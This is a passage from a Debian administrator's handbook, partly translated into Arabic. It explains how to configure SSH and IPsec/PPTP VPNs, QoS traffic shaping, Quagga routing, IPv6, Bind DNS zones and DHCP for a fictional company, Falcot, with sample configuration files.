10.3.2. الشبكات الخاصة الظاهرية باستخدام SSH

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

الطريقة الثانية أحدث من السابقة، وقد ظهرت في OpenSSH 4.3؛ حيث أصبح OpenSSH قادراً على إنشاء واجهات شبكية ظاهرية (tun*) على طرفي اتصال SSH، ويمكن إعداد هذه الواجهات الظاهرية تماماً كما لو كانت واجهات فيزيائية. يجب أولاً تفعيل نظام الأنفاق من خلال ضبط قيمة الخيار PermitTunnel على ”yes“ في ملف إعداد مخدم SSH ‏(/etc/ssh/sshd_config). عند إنشاء اتصال SSH، يجب طلب إنشاء النفق صراحة باستخدام الخيار -w any:any (يمكن استبدال any برقم جهاز tun المرغوب). هذا يتطلب من المستخدم تقديم صلاحيات مدير النظام على طرفي الاتصال، وذلك حتى يتمكن من إنشاء الجهاز الشبكي (بكلمات أخرى، يجب بدء الاتصال بصلاحيات root).

كل من هاتين الطريقتين لإنشاء الشبكات الخاصة الظاهرية عبر SSH بسيطة جداً. لكن شبكات VPN الناتجة ليست أكثر الخيارات المتاحة فعالية؛ خصوصًا أنها لا تتعامل مع الكميات الكبيرة من البيانات بشكل جيد.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. ‏IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the libreswan option.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

رغم أن IPsec هو المرجع في شبكات VPN، إلا أن تعقيد إعداده يحد من استخدامه عمليًا. الحلول التي تعتمد على OpenVPN مفضلة عموماً عندما لا تكون الأنفاق المطلوبة كثيرة العدد ولا كثيرة التغير مع الزمن.

تحذير IPsec وNAT

الجدران النارية التي تقدم خدمة NAT لا تعمل جيداً مع IPsec: بما أن IPsec يوقّع الحزم، فإن أي تغيير يجريه الجدار الناري عليها سوف يبطل التوقيع، وسوف ترفض الحزم عندما تصل إلى وجهتها. تتضمن العديد من تطبيقات IPsec اليوم تقنية NAT-T (اختصاراً للعبارة NAT Traversal)، التي تعمل أساساً على تغليف حزم IPsec بحزم UDP قياسية.

أمن IPsec والجدران النارية

الوضع القياسي لعمل IPsec يتضمن تبادل البيانات عبر منفذ UDP رقم 500 (وأيضاً على منفذ UDP رقم 4500 في حال استخدام NAT-T). بالإضافة لذلك، تستخدم حزم IPsec بروتوكولي IP مخصَّصَين يجب أن يسمح الجدار الناري بمرورهما؛ يعتمد استقبال هذه الحزم على أرقام بروتوكولاتها، 50 (ESP)، و51 (AH).

10.3.4. ‏PPTP

يستخدم PPTP (اختصاراً للعبارة Point-to-Point Tunneling Protocol) قناتي اتصال، واحدة لمعلومات التحكم، والأخرى لتبادل البيانات؛ تستخدم القناة الأخيرة بروتوكول GRE‏ (Generic Routing Encapsulation). بعدها يتم إعداد اتصال PPP قياسي عبر قناة تبادل البيانات.

10.3.4.1. إعداد العميل

تحوي الحزمة pptp-linux عميل PPTP سهل الإعداد لنظام لينكس. الخطوات التالية مستوحاة من التوثيق الرسمي:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

لقد أنشأ مديرو النظم في شركة فلكوت عدة ملفات: /etc/ppp/options.pptp،‏ /etc/ppp/peers/falcot،‏ /etc/ppp/ip-up.d/falcot، و /etc/ppp/ip-down.d/falcot.

مثال 10.2. الملف /etc/ppp/options.pptp

# PPP options used for a PPTP connection lock noauth nobsdcomp nodeflate

مثال 10.3. الملف /etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # the connection will identify as the "vpn" user user vpn remotename pptp # encryption is needed require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

مثال 10.4. الملف /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

مثال 10.5. الملف /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

أمن MPPE

لتأمين PPTP يجب استخدام ميزة MPPE ‏(Microsoft Point-to-Point Encryption)، وهي متوفرة في النوى القياسية لتوزيعة دبيان بشكل وحدة.

10.3.4.2. إعداد المخدم

تحذير PPTP والجدران النارية

يجب ضبط الجداران النارية الوسيطة للسماح بعبور حزم IP التي تستخدم البروتوكول 47 (GRE). بالإضافة لهذا، يجب فتح منفذ مخدم PPTP رقم 1723 حتى يسمح لقناة الاتصال بأن تفتح.

pptpd هو مخدم PPTP في لينكس. لا يحتاج ملف إعداداته الرئيسي، /etc/pptpd.conf، إلا لبعض التغييرات القليلة: localip (عنوان IP المحلي)، وremoteip (عنوان IP البعيد). في المثال التالي، يمتلك مخدم PPTP العنوان 192.168.0.199 دوماً، أما عملاء PPTP فيأخذون العناوين من 192.168.0.200 وحتى 192.168.0.250.

مثال 10.6. الملف /etc/pptpd.conf

# TAG: speed # # Specifies the speed for the PPP daemon to talk at. # speed 115200 # TAG: option # # Specifies the location of the PPP options file. # By default PPP looks in '/etc/ppp/options' # option /etc/ppp/pptpd-options # TAG: debug # # Turns on (more) debugging to syslog # # debug # TAG: localip # TAG: remoteip # # Specifies the local and remote IP address ranges. # # You can specify single IP addresses separated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than MAX_CONNECTIONS, it will # start at the beginning of the list and go until it gets # MAX_CONNECTIONS IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 #localip 10.0.1.1 #remoteip 10.0.1.2-100 localip 192.168.0.199 remoteip 192.168.0.200-250

كما أن إعدادات PPP التي يستخدمها مخدم PPTP تحتاج أيضاً بعض التعديلات على الملف /etc/ppp/pptpd-options. المتغيرات المهمة هي اسم المخدم (pptp)، واسم النطاق (falcot.com)، وعناوين IP لمخدمات DNS و WINS.

مثال 10.7. الملف /etc/ppp/pptpd-options

## turn pppd syslog debugging on #debug ## change 'servername' to whatever you specify as your server name in chap-secrets name pptp ## change the domainname to your local domain domain falcot.com ## these are reasonable defaults for WinXXXX clients ## for the security related settings # The Debian pppd package now supports both MSCHAP and MPPE, so enable them # here. Please note that the kernel support for MPPE must also be present! auth require-chap require-mschap require-mschap-v2 require-mppe-128 ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

الخطوة الأخيرة هي تسجيل المستخدم vpn (وكلمة سره) في الملف /etc/ppp/chap-secrets. يجب تعبئة اسم المخدم بشكل صريح هنا، بخلاف الحالات الأخرى حيث يمكن استخدام النجمة (*) فيها. بالإضافة لذلك، تعرّف عملاء PPTP التي تعمل على ويندوز نفسها بالشكل DOMAIN\\USER، بدلاً من تقديم اسم المستخدم فقط. هذا يفسر وجود المستخدم FALCOT\\vpn في الملف. من الممكن أيضاً تحديد عناوين IP الخاصة بالمستخدمين؛ استخدام النجمة في هذا الحقل يدل على أننا نريد استخدام العنونة الديناميكية.

مثال 10.8. الملف /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

أمن ثغرات PPTP

التطبيقات الأولى لبروتوكول PPTP من مايكروسوفت تلقت نقداً حاداً لوجود العديد من الثغرات الأمنية فيها؛ لقد أصلحت معظمها منذ ذلك الوقت في الإصدارات الحديثة. الإعداد المقدم في هذا القسم يعتمد على أحدث إصدار من البروتوكول. لكن انتبه إلى أن إزالة بعض الخيارات (مثل require-mppe-128 وrequire-mschap-v2) سوف يجعل الخدمة ضعيفة ثانية.

10.4. جودة الخدمة

10.4.1. المبدأ والآلية

يشير مصطلح جودة الخدمة Quality of Service (أو QoS اختصاراً) لمجموعة من التقنيات التي تضمن أو تحسن جودة الخدمة المقدمة للتطبيقات. من أشهر هذه التقنيات تصنيف بيانات الشبكة في فئات، وتمييز معالجة البيانات وفقًا للفئة التي تنتمي إليها. التطبيق الرئيسي لهذه الخدمة هو traffic shaping، الذي يحدد معدلات نقل البيانات للاتصالات المتعلقة بخدمات أو أجهزة معينة حتى لا تستهلك كل السرعة المتاحة على حساب خدمات مهمة أخرى. هذه التقنية مفيدة خصوصًا مع رزم TCP، بما أن هذا البروتوكول يتكيّف آلياً مع سرعة الشبكة المتاحة.

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

من الممكن أيضًا تغيير أولويات البيانات، وهذا يسمح برفع أولوية رزم الخدمات التفاعلية (مثل ssh وtelnet) أو الخدمات التي تتعامل مع كميات قليلة فقط من البيانات.

تتضمن نوى دبيان المزايا المطلوبة لخدمة QoS مع جميع الوحدات المرتبطة بها. هناك العديد من الوحدات، وكل منها تقدم خدمة مختلفة، من خلال تقديم مُجَدْوِلاتٍ خاصة لأرتال الانتظار الخاصة برزم IP؛ إن المجال الواسع من المجدولات المتوفرة يغطي جميع أنواع الاحتياجات الممكنة.

ثقافة LARTC ‏— Linux Advanced Routing & Traffic Control

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. الإعداد والتطبيق

تضبط متغيرات QoS عبر الأمر tc (المتوفر في الحزمة iproute). بما أن واجهة هذا الأمر معقدة للغاية، يستحسن استخدام أدوات ذات مستوى أعلى.

10.4.2.1. تقليل زمن الوصول: wondershaper

إن الهدف الرئيسي لبرنامج wondershaper (في الحزمة ذات الاسم نفسه) هو تقليل أزمنة الوصول بغض النظر عن حمل الشبكة. يتحقق هذا من خلال حد حركة البيانات الكلية إلى قيمة أصغر بقليل من قيمة إشباع الخط.

بعد إعداد الواجهة الشبكية، يتم ضبط هذا التقييد في حركة البيانات عبر الأمر wondershaper interface download_rate upload_rate. يمكن أن تكون الواجهة إما eth0 أو ppp0 على سبيل المثال، ويُقدَّر كلٌ من معدلي النقل بالكيلوبت بالثانية. يعطل الأمر wondershaper remove interface التحكم بحركة البيانات على الواجهة المحددة.

بالنسبة لاتصالات إيثرنت، أفضل حل هو استدعاء هذا السكربت تلقائياً بعد إعداد الواجهة الشبكية. يتم هذا بإضافة التعليمتين التوجيهيتين up (تشير إلى أمر يتم تنفيذه بعد إعداد الواجهة الشبكية) وdown (تشير إلى أمر يتم تنفيذه قبل إلغاء إعداد الواجهة الشبكية) إلى الملف /etc/network/interfaces وإضافة الأمرين السابقين كما يلي:

مثال 10.9. التغيرات في الملف /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

في حالة اتصالات PPP، يمكن تفعيل التحكم بحركة البيانات مباشرة بعد بدء الاتصال عبر إنشاء سكربت يستدعي wondershaper وتخزينه في /etc/ppp/ip-up.d/.

التعمق أكثر الإعداد المثالي

يصف الملف /usr/share/doc/wondershaper/README.Debian.gz –بشيء من التفصيل– طريقة الإعداد التي ينصح بها مشرف الحزمة. على وجه الخصوص، ينصح بقياس سرعتي التنزيل والرفع لتقدير الحدود الحقيقية بأفضل ما يمكن.

10.4.2.2. الإعداد القياسي

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated of Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. التوجيه الديناميكي

الأداة المرجعية في التوجيه الديناميكي حالياً هي quagga، المتوفرة في الحزمة ذات الاسم نفسه؛ لقد كان اسمها zebra إلى أن توقف تطويرها. على أي حال، فإن quagga حافظت على أسماء البرامج بدافع الحفاظ على التوافقية وهذا ما يفسر وجود الأمر zebra فيما يلي.

أساسيات التوجيه الديناميكي

يسمح التوجيه الديناميكي للموجهات بضبط مسارات إرسال رزم IP في الزمن الحقيقي. لكل بروتوكول طريقته الخاصة بتعريف المسارات (الطريق الأقصر، استخدام المسارات التي يعلن عنها النظراء، وغيرها).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

Quagga is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon. The zebra daemon collects information from other daemons and handles static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, and isisd.

Daemons are enabled by creating the /etc/quagga/daemon.conf config file, daemon being the name of the daemon to use; this file must belong to the quagga user and group in order for the /etc/init.d/zebra script to invoke the daemon. The package quagga-core provides configuration examples under /usr/share/doc/quagga-core/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but quagga-doc provides ample explanation in the form of an info file. The same contents may be more easily browsed as HTML on the Quagga website:

→ http://www.nongnu.org/quagga/docs/docs-info.html

بالإضافة لذلك، صيغة هذه الملفات قريبة جداً من واجهة إعداد الموجهات الشبكية، لذلك سوف يتأقلم مديرو الشبكات سريعاً مع quagga.

ممارسة عملية OSPF، ‏BGP أو RIP؟

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. ‏IPv6

IPv6 هو الإصدار الجديد من بروتوكول IP اللاحق للإصدار IPv4، وهو مصمم لتصحيح عيوب IPv4 وأهمها قلة عناوين IP المتاحة. يتحكم هذا البروتوكول بطبقة الشبكة؛ وهو يهدف لتوفير وسيلة لعنونة الأجهزة، وإيصال البيانات إلى وجهتها الصحيحة، ومعالجة تجزئة البيانات عند الحاجة (أي تجزئة الحزم إلى قطع يعتمد حجمها على وصلات الشبكة المستخدمة على الطريق وإعادة تجميع هذه القطع بترتيبها الصحيح عند الاستلام).

تتضمن نوى دبيان دعم IPv6 في لب النواة (عدا بعض المعماريات التي تتضمن دعم IPv6 بشكل وحدة اسمها ipv6). هناك مكافِئات للأدوات الأساسية تعتمد IPv6 مثل ping6 التي تقابل ping وtraceroute6 التي تقابل traceroute، وهاتان متوفرتان في الحزمتين iputils-ping وiputils-tracepath.

يشبه إعداد شبكات IPv6 إعداد شبكات IPv4، عبر الملف /etc/network/interfaces. لكن إذا أردت أن تتاح الشبكة عالميًا، فعليك أن تتأكد أنك تملك موجهاً يدعم IPv6 لتوجيه حركة البيانات إلى شبكة IPv6 العالمية.

مثال 10.10. مثال عن إعدادات IPv6

iface eth0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

لشبكات IPv6 أقنعة من 64 بت عادة. هذا يعني وجود 2⁶⁴ عنوان مستقل ضمن الشبكة الفرعية. هذا يسمح لإعداد العناوين التلقائي SLAAC‏ (Stateless Address Autoconfiguration) باختيار عنوان IP اعتماداً على عنوان MAC الخاص بالوجهة الشبكية. افتراضياً، إذا كان SLAAC مفعلاً على الشبكة، وكان IPv6 مفعلاً على الحاسب، فسوف تعثر النواة آلياً على موجهات الشبكة وتضبط الواجهات الشبكية.

لكن هذا السلوك قد يضر بالخصوصية. فإذا كنت تتنقل بين الشبكات كثيراً، مع حاسبك المحمول مثلاً، قد لا تريد أن يكون عنوان MAC الخاص بك جزءاً من عنوان IPv6 العمومي، لأن هذا يسهل التعرف على الجهاز نفسه بين الشبكات. من حلول هذه القضية استخدام إضافات الخصوصية للبروتوكول IPv6 (التي تفعلها دبيان افتراضياً إذا اكتشفت اتصال IPv6 أثناء التثبيت الأولي)، التي تعين عنواناً إضافياً مولداً عشوائياً للواجهة الشبكية، وتغيره دورياً وتفضل استخدامه للاتصالات الصادرة. أما الاتصالات الواردة فتستطيع استخدام العنوان الذي يولده SLAAC. المثال التالي، وهو جزء من ملف /etc/network/interfaces، يُفَعّل إضافات الخصوصية هذه.

مثال 10.11. إضافات الخصوصية في IPv6

iface eth0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

تلميح البرامج المبنية مع IPv6

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see قسم 14.2.3, “Syntax of nft”).

10.6.1. الأنفاق

تحذير أنفاق IPv6 والجدران النارية

إن استخدام أنفاق IPv6 عبر بروتوكول IPv4 (بدلاً من استخدام native IPv6) يتطلب من الجدار الناري قبول حركة البيانات التي تستخدم بروتوكول IPv4 رقم 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. مخدمات أسماء النطاقات Domain Name Servers ‏(DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 149.20.4.15 or 2001:4f8:1:c::15.

تصنف سجلات DNS في مناطق – zones؛ كل منطقة تقابل نطاقاً (أو نطاقاً فرعياً) أو مجالاً من عناوين IP (بما أن عناوين IP عموماً تحجز بشكل مجالات متسلسلة). يتحكم المخدم الأساسي بمحتويات المنطقة؛ أما المخدمات الفرعية، التي تعمل عادة على أجهزة منفصلة، توفر نسخاً تُحدّث بانتظام عن المنطقة الأساسية.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

A: عنوان IPv4.

CNAME: لقب (canonical name).

MX: ‏mail exchange، مخدم بريد إلكتروني. تستخدم مخدمات البريد الإلكتروني الأخرى هذه المعلومات لتعرف المخدم الموافق لعنوان الوجهة الذي سترسل البريد إليه. لكل سجل MX هناك أولوية. يستقبل المخدم ذا الأولوية الأعلى (صاحب الرقم الأصغر) اتصال SMTP أولاً (انظر الملاحظة الجانبية أساسيات SMTP)؛ وإذا لم يجب، يتم الاتصال بالمخدمات التي تليه حسب ترتيب الأولوية.

PTR: رقم IP الموافق للاسم. هذه السجلات تخزن في ”المناطق العكسية“ التي تسمى تبعاً لمجال عناوين IP. مثلاً، 1.168.192.in-addr.arpa هي المنطقة العكسية لجميع العناوين في المجال 192.168.1.0/24.

AAAA: عنوان IPv6.

NS: الاسم المقابل لمخدم DNS. كل نطاق يجب أن يحوي سجل NS واحد على الأقل. تشير هذه السجلات إلى مخدم DNS الذي يستطيع الإجابة على الطلبات المتعلقة بهذا النطاق؛ عادة ما تشير هذه السجلات إلى مخدمات أساسية وثانوية للنطاق. تسمح هذه السجلات أيضًا بما يعرف بانتداب DNS‏ – DNS delegation، مثلاً، يمكن أن يحوي النطاق falcot.com سجل NS بالاسم internal.falcot.com، وهذا يعني أن النطاق internal.falcot.com يديره مخدم DNS آخر. طبعاً، يجب أن يصرح هذا المخدم الأخير عن المنطقة internal.falcot.com.

10.7.1. DNS software

إن مخدم الأسماء المرجعي (Bind) قد طوره ويعمل على صيانته ISC ‏(Internet Software Consortium). تقدم دبيان هذا المخدم في الحزمة bind9. تقدم النسخة 9 تغيرين كبيرين عن النسخ السابقة. أولاً، يستطيع مخدم DNS الآن العمل بصلاحيات المستخدم العادي، بحيث لا تمنح الثغرات الأمنية security vulnerabilities في المخدم صلاحيات الجذر للمهاجمين (كما تكرر مع النسخ ‎8.x مرات عديدة).

بالإضافة لذلك، أصبح Bind يدعم معيار DNSSEC لتوقيع سجلات DNS (ومصادقتها أيضاً)، وهذا يسمح بمنع تزوير (spoofing) هذه البيانات عبر هجمات man-in-the-middle.

ثقافة DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configuring bind

مهما كان إصدار bind، فإن ملفات إعداده لها البنية نفسها.

أنشأ مديرو النظم في شركة فلكوت منطقة أساسية falcot.com لتخزين المعلومات المتعلقة بهذا النطاق، ومنطقة 168.192.in-addr.arpa للمقابلة العكسية (reverse mapping) لعناوين IP في الشبكات المحلية.

تحذير أسماء المناطق العكسية

للمناطق العكسية أسماء خاصة. فالمنطقة التي تغطي الشبكة 192.168.0.0/16 يجب أن تسمى 168.192.in-addr.arpa: حيث تعكس أجزاء عنوان IP، وتتبع باللاحقة in-addr.arpa.

بالنسبة لشبكات IPv6، فاللاحقة هي ip6.arpa كما تكتب أجزاء عنوان IP المعكوسة بالتمثيل الست عشري الكامل لعناوين IP. بالتالي، يجب تسمية المنطقة الخاصة بالشبكة 2001:0bc8:31a0::/48 كالتالي: 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

تلميح اختبار مخدم DNS

يستعلم الأمر host (من الحزمة bind9-host) عن مخدم DNS، ويمكن استخدامه لاختبار إعدادات المخدم. مثلاً، يتحقق الأمر host machine.falcot.com localhost من إجابة المخدم المحلي على الطلب machine.falcot.com. أما الأمر host ipaddress localhost فيختبر الاستبيان العكسي ( reverse resolution).

يمكن أن تساعد المقتطفات التالية، المأخوذة من ملفات شركة فلكوت، على ضبط مخدم DNS:

مثال 10.12. مقتطفات من /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

مثال 10.13. مقتطفات من /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

تحذير صيغة الاسم

تتبع صيغة أسماء الأجهزة قواعد صارمة. مثلاً، كلمة machine تعني ضمنيًا machine.domain. في حال كانت إضافة اسم النطاق غير مرغوبة، فيجب كتابة الاسم بالشكل machine. (مع إضافة النقطة إلى نهاية الاسم). وللإشارة إلى اسم DNS يقع خارج النطاق الحالي كتابة الاسم كما في machine.otherdomain.com. (مع نقطة في النهاية).

مثال 10.14. مقتطفات من /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. ‏DHCP

DHCP (اختصاراً للعبارة Dynamic Host Configuration Protocol) هو بروتوكول يسمح للأجهزة بالحصول على إعدادات الشبكة الخاصة بها عند الإقلاع. هذا يسمح بإدارة إعدادات الشبكة مركزياً، ويضمن أن جميع الأجهزة المكتبية ستحصل على إعدادات متشابهة.

يقدم مخدم DHCP العديد من المتغيرات الشبكية. أكثرها شيوعاً عنوان IP والشبكة التي ينتمي لها الجهاز، لكنه يستطيع أيضًا تقديم معلومات أخرى، مثل مخدمات DNS، ومخدمات WINS، ومخدمات NTP، وغيرها.

المطور الأساسي لمخدم DHCP هو Internet Software Consortium (الذي يطور bind أيضًا). حزمة دبيان التي تحوي مخدم DHCP هي isc-dhcp-server.

10.8.1. الإعداد

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

مثال 10.15. مقتطفات من /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. ‏DHCP و DNS

من الميزات القيمة التسجيل الآلي لعملاء DHCP في منطقة DNS، بحيث يحصل كل جهاز على اسم ذو معنى (بدلاً من اسم غريب مثل machine-192-168-0-131.internal.falcot.com). لاستخدام هذه الميزة يجب ضبط مخدم DNS لقبول التحديثات على منطقة ‏internal.falcot.com من مخدم DHCP، وإعداد مخدم DHCP لإرسال التحديثات عند كل عملية تسجيل.

In the bind case (see قسم 10.7.1, “DNS software”), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

انتبه! المنطقة التي يمكن تعديلها سوف يغيرها bind، وسوف يستبدل ملفات إعدادها في فواصل زمنية منتظمة. بما أن هذه العملية المؤتمتة تنتج ملفات صعبة القراءة مقارنة بالملفات المكتوبة يدويًا، فإن مديري النظم في فلكوت قرروا معالجة النطاق internal.falcot.com باستخدام مخدم DNS منتدب (delegated)؛ هذا يعني أن ملفات المنطقة falcot.com تبقى بالكامل تحت التحكم اليدوي.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. أدوات تشخيص الشبكات

عندما لا يعمل التطبيق الشبكي كما يجب، فمن المهم أن يتمكن المرء من فحص ما يجري عن قرب. وحتى عندما يبدو أن كل شيء على ما يرام، قد يساعد تشخيص الشبكة على التأكد أن كل شيء يعمل كما يجب. هناك العديد من أدوات التشخيص المخصصة لهذا الغرض؛ وكل منها يعمل على مستوى مختلف.

10.9.1. التشخيص المحلي: netstat

